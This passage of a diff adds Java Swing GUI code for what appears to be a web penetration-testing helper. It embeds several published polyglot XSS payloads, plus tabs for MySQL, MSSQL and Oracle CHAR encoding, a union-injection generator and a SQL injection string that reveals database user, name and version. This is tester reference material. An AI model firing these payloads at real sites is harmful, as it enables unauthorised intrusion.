onclick=alert()//>*/alert()/*"); + jTextArea22.setWrapStyleWord(true); + jScrollPane27.setViewportView(jTextArea22); + + jLabel40.setFont(new java.awt.Font("Segoe UI Symbol", 0, 18)); // NOI18N + jLabel40.setForeground(new java.awt.Color(255, 255, 255)); + jLabel40.setText("Polyglot XSS - Daniel Miessler"); + + jTextArea23.setEditable(false); + jTextArea23.setColumns(20); + jTextArea23.setFont(new java.awt.Font("Segoe UI Symbol", 0, 13)); // NOI18N + jTextArea23.setLineWrap(true); + jTextArea23.setRows(5); + jTextArea23.setText("';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//\";alert(String.fromCharCode (88,83,83))//\";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>\n"); + jTextArea23.setWrapStyleWord(true); + + jLabel41.setFont(new java.awt.Font("Segoe UI Symbol", 0, 18)); // NOI18N + jLabel41.setForeground(new java.awt.Color(255, 255, 255)); + jLabel41.setText("Polyglot XSS - from @filedescriptor's Polyglot Challenge"); + + jTextArea24.setEditable(false); + jTextArea24.setColumns(20); + jTextArea24.setFont(new java.awt.Font("Segoe UI Symbol", 0, 13)); // NOI18N + jTextArea24.setLineWrap(true); + jTextArea24.setRows(5); + jTextArea24.setText("# by crlf\njavascript:\"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \\\" onmouseover=/*&lt;svg/*/onload=alert()//>\n\n# by europa\njavascript:\"/*'/*`/*\\\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/onmouseover=alert()//>\n\n# by EdOverflow\njavascript:\"/*\\\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//>\n\n# by h1/ragnar\njavascript:`//\"//\\\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>`"); + jTextArea24.setWrapStyleWord(true); + jScrollPane28.setViewportView(jTextArea24); + + javax.swing.GroupLayout jPanel79Layout = new javax.swing.GroupLayout(jPanel79); + jPanel79.setLayout(jPanel79Layout); + jPanel79Layout.setHorizontalGroup( + jPanel79Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel79Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel79Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) + .addComponent(jScrollPane28) + .addComponent(jTextArea20) + .addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel79Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) + .addComponent(jTextArea21, javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane26, javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel35, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 731, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel37, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 731, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel36, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 731, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel38, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 731, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel41, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 731, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jTextArea19, javax.swing.GroupLayout.Alignment.LEADING)) + .addComponent(jLabel39, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 731, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jScrollPane27) + .addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel79Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) + .addComponent(jTextArea23, javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel40, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))) + .addGap(0, 216, Short.MAX_VALUE)) + ); + jPanel79Layout.setVerticalGroup( + jPanel79Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel79Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel36) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jTextArea19, javax.swing.GroupLayout.PREFERRED_SIZE, 53, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel35) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane26, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel38) + .addGap(1, 1, 1) + .addComponent(jTextArea21, javax.swing.GroupLayout.PREFERRED_SIZE, 30, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel39) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jTextArea23, javax.swing.GroupLayout.PREFERRED_SIZE, 40, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel40) + .addGap(2, 2, 2) + .addComponent(jScrollPane27, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel37) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jTextArea20, javax.swing.GroupLayout.PREFERRED_SIZE, 21, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel41) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane28, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap(28, Short.MAX_VALUE)) + ); + + jScrollPane11.setViewportView(jPanel79); + + javax.swing.GroupLayout jPanel78Layout = new javax.swing.GroupLayout(jPanel78); + jPanel78.setLayout(jPanel78Layout); + jPanel78Layout.setHorizontalGroup( + jPanel78Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane11, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 942, Short.MAX_VALUE) + ); + jPanel78Layout.setVerticalGroup( + jPanel78Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane11, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 448, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout url14Layout = new javax.swing.GroupLayout(url14); + url14.setLayout(url14Layout); + url14Layout.setHorizontalGroup( + url14Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel78, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + url14Layout.setVerticalGroup( + url14Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel78, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + datagrapper.addTab("Polyglot ", url14); + + javax.swing.GroupLayout xssPanelLayout = new javax.swing.GroupLayout(xssPanel); + xssPanel.setLayout(xssPanelLayout); + xssPanelLayout.setHorizontalGroup( + xssPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(datagrapper) + ); + xssPanelLayout.setVerticalGroup( + xssPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(datagrapper) + ); + + jTabbedPane1.addTab("XSS", xssPanel); + + datagrapper1.setBackground(new java.awt.Color(2, 71, 105)); + datagrapper1.setForeground(new java.awt.Color(255, 255, 255)); + datagrapper1.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + + jPanel45.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel46.setBackground(new java.awt.Color(2, 71, 105)); + jPanel46.setForeground(new java.awt.Color(255, 255, 255)); + jPanel46.setLayout(new java.awt.GridLayout(7, 1)); + + mysqlchar.setBackground(new java.awt.Color(2, 71, 105)); + mysqlchar.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + mysqlchar.setForeground(new java.awt.Color(255, 255, 255)); + mysqlchar.setText("Generate"); + mysqlchar.setPreferredSize(new java.awt.Dimension(150, 100)); + mysqlchar.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + mysqlcharActionPerformed(evt); + } + }); + jPanel46.add(mysqlchar); + + jPanel47.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel52.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel52.setForeground(new java.awt.Color(255, 255, 255)); + jLabel52.setText("Input"); + + mysqlcharinput.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + mysqlcharinputActionPerformed(evt); + } + }); + + jLabel53.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel53.setForeground(new java.awt.Color(255, 255, 255)); + jLabel53.setText("Output"); + + mysqlcharoutput.setColumns(20); + mysqlcharoutput.setLineWrap(true); + mysqlcharoutput.setRows(5); + mysqlcharoutput.setAutoscrolls(false); + jScrollPane36.setViewportView(mysqlcharoutput); + + javax.swing.GroupLayout jPanel47Layout = new javax.swing.GroupLayout(jPanel47); + jPanel47.setLayout(jPanel47Layout); + jPanel47Layout.setHorizontalGroup( + jPanel47Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel47Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel47Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel47Layout.createSequentialGroup() + .addGroup(jPanel47Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel52) + .addComponent(jLabel53)) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(mysqlcharinput) + .addComponent(jScrollPane36, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE)) + .addContainerGap()) + ); + jPanel47Layout.setVerticalGroup( + jPanel47Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel47Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel52) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(mysqlcharinput, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel53) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane36, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel45Layout = new javax.swing.GroupLayout(jPanel45); + jPanel45.setLayout(jPanel45Layout); + jPanel45Layout.setHorizontalGroup( + jPanel45Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel45Layout.createSequentialGroup() + .addComponent(jPanel46, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel47, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel45Layout.setVerticalGroup( + jPanel45Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel46, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel47, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout msqsqlcharLayout = new javax.swing.GroupLayout(msqsqlchar); + msqsqlchar.setLayout(msqsqlcharLayout); + msqsqlcharLayout.setHorizontalGroup( + msqsqlcharLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel45, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + msqsqlcharLayout.setVerticalGroup( + msqsqlcharLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel45, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + datagrapper1.addTab("MySQL Char", msqsqlchar); + + jPanel48.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel49.setBackground(new java.awt.Color(2, 71, 105)); + jPanel49.setForeground(new java.awt.Color(255, 255, 255)); + jPanel49.setLayout(new java.awt.GridLayout(7, 1)); + + mysqlchar1.setBackground(new java.awt.Color(2, 71, 105)); + mysqlchar1.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + mysqlchar1.setForeground(new java.awt.Color(255, 255, 255)); + mysqlchar1.setText("Generate"); + mysqlchar1.setPreferredSize(new java.awt.Dimension(150, 100)); + mysqlchar1.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + mysqlchar1ActionPerformed(evt); + } + }); + jPanel49.add(mysqlchar1); + + jPanel50.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel55.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel55.setForeground(new java.awt.Color(255, 255, 255)); + jLabel55.setText("Basic Info Column"); + + mysqlcharoutput1.setColumns(20); + mysqlcharoutput1.setLineWrap(true); + mysqlcharoutput1.setRows(5); + mysqlcharoutput1.setText("CONCAT_WS(CHAR(32,58,32),user(),database(),version())"); + mysqlcharoutput1.setAutoscrolls(false); + jScrollPane37.setViewportView(mysqlcharoutput1); + + javax.swing.GroupLayout jPanel50Layout = new javax.swing.GroupLayout(jPanel50); + jPanel50.setLayout(jPanel50Layout); + jPanel50Layout.setHorizontalGroup( + jPanel50Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel50Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel50Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane37) + .addGroup(jPanel50Layout.createSequentialGroup() + .addComponent(jLabel55, javax.swing.GroupLayout.PREFERRED_SIZE, 205, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(0, 0, Short.MAX_VALUE))) + .addContainerGap()) + ); + jPanel50Layout.setVerticalGroup( + jPanel50Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel50Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel55) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane37, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel48Layout = new javax.swing.GroupLayout(jPanel48); + jPanel48.setLayout(jPanel48Layout); + jPanel48Layout.setHorizontalGroup( + jPanel48Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel48Layout.createSequentialGroup() + .addComponent(jPanel49, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel50, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel48Layout.setVerticalGroup( + jPanel48Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel49, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel50, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout infocolumnLayout = new javax.swing.GroupLayout(infocolumn); + infocolumn.setLayout(infocolumnLayout); + infocolumnLayout.setHorizontalGroup( + infocolumnLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel48, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + infocolumnLayout.setVerticalGroup( + infocolumnLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel48, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + datagrapper1.addTab("Basic Info Column", infocolumn); + + jPanel51.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel52.setBackground(new java.awt.Color(2, 71, 105)); + jPanel52.setForeground(new java.awt.Color(255, 255, 255)); + jPanel52.setLayout(new java.awt.GridLayout(7, 1)); + + mssqlchar.setBackground(new java.awt.Color(2, 71, 105)); + mssqlchar.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + mssqlchar.setForeground(new java.awt.Color(255, 255, 255)); + mssqlchar.setText("Generate"); + mssqlchar.setPreferredSize(new java.awt.Dimension(150, 100)); + mssqlchar.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + mssqlcharActionPerformed(evt); + } + }); + jPanel52.add(mssqlchar); + + jPanel58.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel54.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel54.setForeground(new java.awt.Color(255, 255, 255)); + jLabel54.setText("Input"); + + mssqlcharinput.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + mssqlcharinputActionPerformed(evt); + } + }); + + jLabel56.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel56.setForeground(new java.awt.Color(255, 255, 255)); + jLabel56.setText("Output"); + + mssqlcharoutput.setColumns(20); + mssqlcharoutput.setLineWrap(true); + mssqlcharoutput.setRows(5); + mssqlcharoutput.setAutoscrolls(false); + jScrollPane38.setViewportView(mssqlcharoutput); + + javax.swing.GroupLayout jPanel58Layout = new javax.swing.GroupLayout(jPanel58); + jPanel58.setLayout(jPanel58Layout); + jPanel58Layout.setHorizontalGroup( + jPanel58Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel58Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel58Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel58Layout.createSequentialGroup() + .addGroup(jPanel58Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel54) + .addComponent(jLabel56)) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(mssqlcharinput) + .addComponent(jScrollPane38, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE)) + .addContainerGap()) + ); + jPanel58Layout.setVerticalGroup( + jPanel58Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel58Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel54) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(mssqlcharinput, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel56) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane38, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel51Layout = new javax.swing.GroupLayout(jPanel51); + jPanel51.setLayout(jPanel51Layout); + jPanel51Layout.setHorizontalGroup( + jPanel51Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel51Layout.createSequentialGroup() + .addComponent(jPanel52, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel58, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel51Layout.setVerticalGroup( + jPanel51Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel52, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel58, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout mssqlcharPanelLayout = new javax.swing.GroupLayout(mssqlcharPanel); + mssqlcharPanel.setLayout(mssqlcharPanelLayout); + mssqlcharPanelLayout.setHorizontalGroup( + mssqlcharPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel51, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + mssqlcharPanelLayout.setVerticalGroup( + mssqlcharPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel51, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + datagrapper1.addTab("MSSQL CHAR", mssqlcharPanel); + + jPanel59.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel80.setBackground(new java.awt.Color(2, 71, 105)); + jPanel80.setForeground(new java.awt.Color(255, 255, 255)); + jPanel80.setLayout(new java.awt.GridLayout(7, 1)); + + oraclechar.setBackground(new java.awt.Color(2, 71, 105)); + oraclechar.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + oraclechar.setForeground(new java.awt.Color(255, 255, 255)); + oraclechar.setText("Generate"); + oraclechar.setPreferredSize(new java.awt.Dimension(150, 100)); + oraclechar.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + oraclecharActionPerformed(evt); + } + }); + jPanel80.add(oraclechar); + + jPanel81.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel57.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel57.setForeground(new java.awt.Color(255, 255, 255)); + jLabel57.setText("Input"); + + oracleinput.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + oracleinputActionPerformed(evt); + } + }); + + jLabel58.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel58.setForeground(new java.awt.Color(255, 255, 255)); + jLabel58.setText("Output"); + + oracleoutput.setColumns(20); + oracleoutput.setLineWrap(true); + oracleoutput.setRows(5); + oracleoutput.setAutoscrolls(false); + jScrollPane39.setViewportView(oracleoutput); + + javax.swing.GroupLayout jPanel81Layout = new javax.swing.GroupLayout(jPanel81); + jPanel81.setLayout(jPanel81Layout); + jPanel81Layout.setHorizontalGroup( + jPanel81Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel81Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel81Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel81Layout.createSequentialGroup() + .addGroup(jPanel81Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel57) + .addComponent(jLabel58)) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(oracleinput) + .addComponent(jScrollPane39, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE)) + .addContainerGap()) + ); + jPanel81Layout.setVerticalGroup( + jPanel81Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel81Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel57) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(oracleinput, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel58) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane39, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel59Layout = new javax.swing.GroupLayout(jPanel59); + jPanel59.setLayout(jPanel59Layout); + jPanel59Layout.setHorizontalGroup( + jPanel59Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel59Layout.createSequentialGroup() + .addComponent(jPanel80, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel81, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel59Layout.setVerticalGroup( + jPanel59Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel80, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel81, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout oraclecharpanelLayout = new javax.swing.GroupLayout(oraclecharpanel); + oraclecharpanel.setLayout(oraclecharpanelLayout); + oraclecharpanelLayout.setHorizontalGroup( + oraclecharpanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel59, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + oraclecharpanelLayout.setVerticalGroup( + oraclecharpanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel59, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + datagrapper1.addTab("Oracle CHAR", oraclecharpanel); + + jPanel82.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel83.setBackground(new java.awt.Color(2, 71, 105)); + jPanel83.setForeground(new java.awt.Color(255, 255, 255)); + jPanel83.setLayout(new java.awt.GridLayout(7, 1)); + + union.setBackground(new java.awt.Color(2, 71, 105)); + union.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + union.setForeground(new java.awt.Color(255, 255, 255)); + union.setText("Generate"); + union.setPreferredSize(new java.awt.Dimension(150, 100)); + union.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + unionActionPerformed(evt); + } + }); 